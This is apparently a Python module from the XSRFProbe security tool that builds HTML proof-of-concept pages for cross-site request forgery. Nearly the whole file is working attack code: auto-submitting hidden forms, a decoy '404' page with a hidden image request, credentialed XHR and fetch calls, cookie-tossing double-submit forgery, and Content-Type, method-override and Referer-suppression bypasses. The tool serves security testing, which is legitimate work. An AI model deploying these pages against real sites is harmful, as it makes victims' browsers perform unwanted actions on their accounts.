#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# -:-:-:-:-:-:-::-:-:#
#    XSRF Probe     #
# -:-:-:-:-:-:-::-:-:#

# Author: 0xInfection
# This module requires XSRFProbe
# https://github.com/0xInfection/XSRFProbe

import os
import json
import logging
from html import escape as html_escape
from urllib.parse import urlencode

from xsrfprobe.files.config import OUTPUT_DIR

logger = logging.getLogger("PoCGenerator")

ATTRIBUTION = "<!-- Generated by XSRFProbe (https://github.com/0xInfection/XSRFProbe) -->"


def _esc_attr(value: str) -> str:
    """Escape a value for use inside an HTML attribute (double-quoted)."""
    return html_escape(str(value), quote=True)


def _esc_js_string(value: str, quote: str = '"') -> str:
    """Escape a value for use inside a JS string literal."""
    s = str(value)
    s = s.replace("\\", "\\\\")
    s = s.replace(quote, f"\\{quote}")
    s = s.replace("\n", "\\n")
    s = s.replace("\r", "\\r")
    s = s.replace("</", "<\\/")
    return s


def _sanitize_filename(action: str) -> str:
    if "//" in action:
        name = action.split("//", 1)[1]
    else:
        name = action
    return name.replace("/", "-").replace(":", "-").replace("?", "_").strip("-")


def _hidden_inputs(params: dict) -> str:
    lines = []
    for k, v in params.items():
        lines.append(f'      <input type="hidden" name="{_esc_attr(k)}" value="{_esc_attr(v)}" />')
    return "\n".join(lines)


def _save_poc(filename: str, content: str) -> str:
    path = os.path.join(OUTPUT_DIR, filename)
    try:
        with open(path, "w", encoding="utf-8") as f:
            f.write(content)
        logger.debug("PoC saved: %s", path)
    except Exception as e:
        logger.error("Failed to save PoC %s: %s", path, e)
    return path


# ----------------------------------------------------------------
# P1: GET auto-submit via <img> tag (no interaction)
# ----------------------------------------------------------------
def gen_get_img(action: str, params: dict) -> str:
    qs = urlencode(params)
    full_url = f"{action}?{qs}" if qs else action
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF GET PoC</title></head>
<body>
  <h1>404 - Page not found</h1>
  <p>The URL you are requesting is no longer available.</p>
  <img src="{_esc_attr(full_url)}" style="display:none" />
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-get-img.html", html)


# ----------------------------------------------------------------
# P2: GET link (requires click)
# ----------------------------------------------------------------
def gen_get_link(action: str, params: dict) -> str:
    qs = urlencode(params)
    full_url = f"{action}?{qs}" if qs else action
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF GET PoC</title></head>
<body>
  <a href="{_esc_attr(full_url)}">Click here to continue</a>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-get-link.html", html)


# ----------------------------------------------------------------
# P3: POST form auto-submit (no interaction)
# ----------------------------------------------------------------
def gen_post_autosubmit(action: str, params: dict) -> str:
    inputs = _hidden_inputs(params)
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF POST PoC</title></head>
<body>
  <script>history.pushState('', '', '/');</script>
  <form id="csrfform" action="{_esc_attr(action)}" method="POST" enctype="application/x-www-form-urlencoded">
{inputs}
      <input type="submit" value="Submit" />
  </form>
  <script>document.getElementById('csrfform').submit();</script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-post-auto.html", html)


# ----------------------------------------------------------------
# P4: POST form via hidden iframe (no page navigation)
# ----------------------------------------------------------------
def gen_post_iframe(action: str, params: dict) -> str:
    inputs = _hidden_inputs(params)
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF POST PoC</title></head>
<body>
  <iframe style="display:none" name="csrfframe"></iframe>
  <form id="csrfform" action="{_esc_attr(action)}" method="POST" target="csrfframe"
        enctype="application/x-www-form-urlencoded">
{inputs}
      <input type="submit" value="Submit" />
  </form>
  <script>document.getElementById('csrfform').submit();</script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-post-iframe.html", html)


# ----------------------------------------------------------------
# P5: POST AJAX/XHR (withCredentials)
# ----------------------------------------------------------------
def gen_post_xhr(action: str, params: dict) -> str:
    body = urlencode(params)
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF XHR PoC</title></head>
<body>
  <script>
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;
    xhr.open("POST", "{_esc_js_string(action)}", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send("{_esc_js_string(body)}");
  </script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-post-xhr.html", html)


# ----------------------------------------------------------------
# P5b: POST XHR with X-HTTP-Method-Override header (M2 bypass)
# ----------------------------------------------------------------
def gen_post_xhr_method_override(action: str, params: dict) -> str:
    body = urlencode(params)
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF Method Override Header PoC</title></head>
<body>
  <script>
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;
    xhr.open("POST", "{_esc_js_string(action)}", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.setRequestHeader("X-HTTP-Method-Override", "GET");
    xhr.send("{_esc_js_string(body)}");
  </script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-method-override-header.html", html)


# ----------------------------------------------------------------
# P5c: Double-submit cookie bypass (T6)
# Plants the forged CSRF cookie(s) client-side and submits the form with
# the SAME forged value, so the server's cookie==body equality check passes.
# CONDITIONAL: requires the attack page to be able to write the target's
# CSRF cookie (same registrable domain / subdomain "cookie tossing", a
# cookie-injection gadget, or an HTTP MITM). A purely cross-site page on an
# unrelated origin cannot set this cookie — hence the inline note.
# ----------------------------------------------------------------
def gen_double_submit(action: str, params: dict, cookie_names: list[str]) -> str:
    forged = "xsrfprobe_forged_token"
    cookie_lc = {c.lower() for c in cookie_names}
    form_params = {k: (forged if k.lower() in cookie_lc else v) for k, v in params.items()}
    cookie_js = "\n".join(
        f'    document.cookie = "{_esc_js_string(name)}=" + forged + "; path=/";'
        for name in cookie_names
    )
    inputs = _hidden_inputs(form_params)
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF Double-Submit PoC</title></head>
<body>
  <!--
    Double-submit bypass: the server only checks that the CSRF cookie equals
    the body token, with no server-side/session binding. We set BOTH to the
    same attacker-chosen value.

    PRECONDITION: this page must be able to write the target's CSRF cookie.
    That holds when it is served from the target's registrable domain or a
    subdomain (cookie tossing), via a cookie-injection gadget (e.g. CRLF /
    reflected Set-Cookie), or via an HTTP MITM. A cross-site page on an
    unrelated origin cannot set this cookie, and the attack will fail with a
    token mismatch.
  -->
  <script>
    var forged = "{_esc_js_string(forged)}";
{cookie_js}
  </script>
  <form id="csrfform" action="{_esc_attr(action)}" method="POST" enctype="application/x-www-form-urlencoded">
{inputs}
      <input type="submit" value="Submit" />
  </form>
  <script>document.getElementById('csrfform').submit();</script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-double-submit.html", html)


# ----------------------------------------------------------------
# P5d: Content-Type bypass (M4)
# Reproduces the detected bypass: the CSRF token is omitted and the body is
# sent as text/plain — a CORS "simple" Content-Type, so the request fires
# cross-site without a preflight. The server skips token validation for this
# Content-Type while still processing the (URL-encoded) body.
# ----------------------------------------------------------------
def gen_content_type_bypass(action: str, params: dict) -> str:
    body = urlencode(params)
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF Content-Type Bypass PoC</title></head>
<body>
  <script>
    // text/plain is a CORS-safelisted Content-Type (no preflight), so this
    // cross-site request is sent with the victim's cookies. The anti-CSRF token
    // is intentionally omitted: the server skips token validation for this
    // Content-Type.
    fetch("{_esc_js_string(action)}", {{
      method: "POST",
      credentials: "include",
      headers: {{ "Content-Type": "text/plain" }},
      body: "{_esc_js_string(body)}"
    }});
  </script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-content-type-bypass.html", html)


# ----------------------------------------------------------------
# P6: JSON via text/plain enctype trick
# ----------------------------------------------------------------
def gen_json_textplain(action: str, params: dict) -> str:
    json_str = json.dumps(params)
    key_part = json_str[:-1]
    val_part = "}"
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF JSON PoC</title></head>
<body>
  <script>history.pushState('', '', '/');</script>
  <form id="csrfform" action="{_esc_attr(action)}" method="POST" enctype="text/plain">
      <input type="hidden" name='{_esc_attr(key_part)}' value='{_esc_attr(val_part)}' />
      <input type="submit" value="Submit" />
  </form>
  <script>document.getElementById('csrfform').submit();</script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-json-textplain.html", html)


# ----------------------------------------------------------------
# P7: JSON via XHR (application/json, may trigger CORS preflight)
# ----------------------------------------------------------------
def gen_json_xhr(action: str, params: dict) -> str:
    payload = json.dumps(params)
    esc_action = _esc_js_string(action)
    esc_payload = _esc_js_string(payload, quote="'")
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF JSON XHR PoC</title></head>
<body>
  <script>
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;
    xhr.open("POST", "{esc_action}", true);
    xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
    xhr.send('{esc_payload}');
  </script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-json-xhr.html", html)


# ----------------------------------------------------------------
# P8: Multipart POST via fetch
# ----------------------------------------------------------------
def gen_multipart_fetch(action: str, params: dict) -> str:
    lines = []
    sq = "'"
    for k, v in params.items():
        ek = _esc_js_string(k, quote=sq)
        ev = _esc_js_string(v, quote=sq)
        lines.append(f"    fd.append('{ek}', '{ev}');")
    append_lines = "\n".join(lines)
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF Multipart PoC</title></head>
<body>
  <script>
    var fd = new FormData();
{append_lines}
    fetch("{_esc_js_string(action)}", {{
      method: "POST",
      body: fd,
      credentials: "include",
      mode: "no-cors"
    }});
  </script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-multipart-fetch.html", html)


# ----------------------------------------------------------------
# P9: Method override PoC (_method hidden field)
# ----------------------------------------------------------------
def gen_method_override(action: str, params: dict, override_method: str = "POST") -> str:
    inputs = _hidden_inputs(params)
    html = f"""<html>
{ATTRIBUTION}
<head><title>CSRF Method Override PoC</title></head>
<body>
  <script>history.pushState('', '', '/');</script>
  <form id="csrfform" action="{_esc_attr(action)}" method="GET" enctype="application/x-www-form-urlencoded">
{inputs}
      <input type="hidden" name="_method" value="{_esc_attr(override_method)}" />
      <input type="submit" value="Submit" />
  </form>
  <script>document.getElementById('csrfform').submit();</script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-method-override.html", html)


# ----------------------------------------------------------------
# P10: Referer suppression PoC (wraps a POST form with <meta referrer>)
# ----------------------------------------------------------------
def gen_referer_suppressed(action: str, params: dict) -> str:
    inputs = _hidden_inputs(params)
    html = f"""<html>
{ATTRIBUTION}
<head>
  <title>CSRF Referer Suppression PoC</title>
  <meta name="referrer" content="never" />
</head>
<body>
  <script>history.pushState('', '', '/');</script>
  <form id="csrfform" action="{_esc_attr(action)}" method="POST" enctype="application/x-www-form-urlencoded">
{inputs}
      <input type="submit" value="Submit" />
  </form>
  <script>document.getElementById('csrfform').submit();</script>
</body>
</html>"""
    return _save_poc(f"{_sanitize_filename(action)}-referer-suppressed.html", html)


# ----------------------------------------------------------------
# Public API
# ----------------------------------------------------------------
class PoCGenerator:
    def __init__(self, output_dir: str = ""):
        if output_dir:
            global OUTPUT_DIR
            OUTPUT_DIR = output_dir

    def generate_all_variants(
        self, action: str, method: str, params: dict, bypasses: set[str] | None = None,
        enctype: str = "application/x-www-form-urlencoded", tokens: list | None = None
    ) -> dict[str, list[str]]:
        """
        Generate PoC variants scoped to the form's method, enctype, and proven bypasses.
        """
        if tokens is None:
            from xsrfprobe.files.discovered import ANTI_CSRF_TOKENS as tokens

        poc_map: dict[str, list[str]] = {}

        def _record(test_ids: set[str], path: str):
            for tid in test_ids:
                poc_map.setdefault(tid, []).append(path)

        if method.upper() == "GET":
            all_ids = bypasses or {"D1"}
            _record(all_ids, gen_get_img(action, params))
            _record(all_ids, gen_get_link(action, params))
            total = sum(len(v) for v in poc_map.values())
            logger.info("Generated %d PoC variant(s) for %s", total, action)
            return poc_map

        standard_form_bypasses = {"D1", "D2", "T3", "T7", "T4"}
        xhr_bypasses = {"T8"}
        cookie_injection_bypasses = {"T5", "T6"}
        content_type_bypasses = {"M4"}

        if bypasses is None:
            bypasses = standard_form_bypasses

        is_multipart = (enctype == "multipart/form-data")

        matched_standard = bypasses & standard_form_bypasses
        if matched_standard:
            token_names = {t.name for t in tokens}
            if bypasses & {"D1", "D2", "T3"}:
                form_params = {k: v for k, v in params.items() if k not in token_names}
            elif "T7" in bypasses:
                form_params = {k: ("" if k in token_names else v) for k, v in params.items()}
            else:
                form_params = params

            if is_multipart:
                _record(matched_standard, gen_multipart_fetch(action, form_params))
            else:
                _record(matched_standard, gen_post_autosubmit(action, form_params))
                _record(matched_standard, gen_referer_suppressed(action, form_params))

        if "T2" in bypasses:
            _record({"T2"}, gen_get_img(action, params))

        if "M1" in bypasses:
            stripped_params = {k: v for k, v in params.items()
                              if not any(t.name == k for t in tokens)}
            _record({"M1"}, gen_method_override(action, stripped_params))

        if "M2" in bypasses:
            stripped_params = {k: v for k, v in params.items()
                              if not any(t.name == k for t in tokens)}
            _record({"M2"}, gen_post_xhr_method_override(action, stripped_params))

        matched_xhr = bypasses & xhr_bypasses
        if matched_xhr:
            _record(matched_xhr, gen_post_xhr(action, params))

        matched_cookie = bypasses & cookie_injection_bypasses
        if matched_cookie:
            from xsrfprobe.core.schema import TokenDiscoveryPartEnum
            cookie_names = [t.name for t in tokens
                            if t.discovery_part == TokenDiscoveryPartEnum.COOKIE]
            if cookie_names:
                _record(matched_cookie, gen_double_submit(action, params, cookie_names))
            elif is_multipart:
                _record(matched_cookie, gen_multipart_fetch(action, params))
            else:
                _record(matched_cookie, gen_post_autosubmit(action, params))

        matched_ct = bypasses & content_type_bypasses
        if matched_ct:
            stripped_params = {k: v for k, v in params.items()
                              if not any(t.name == k for t in tokens)}
            _record(matched_ct, gen_content_type_bypass(action, stripped_params))

        if not poc_map:
            _record(bypasses or {"D1"}, gen_post_autosubmit(action, params))

        unique_paths = len({p for paths in poc_map.values() for p in paths})
        logger.info("Generated %d PoC variant(s) for %s", unique_paths, action)
        return poc_map
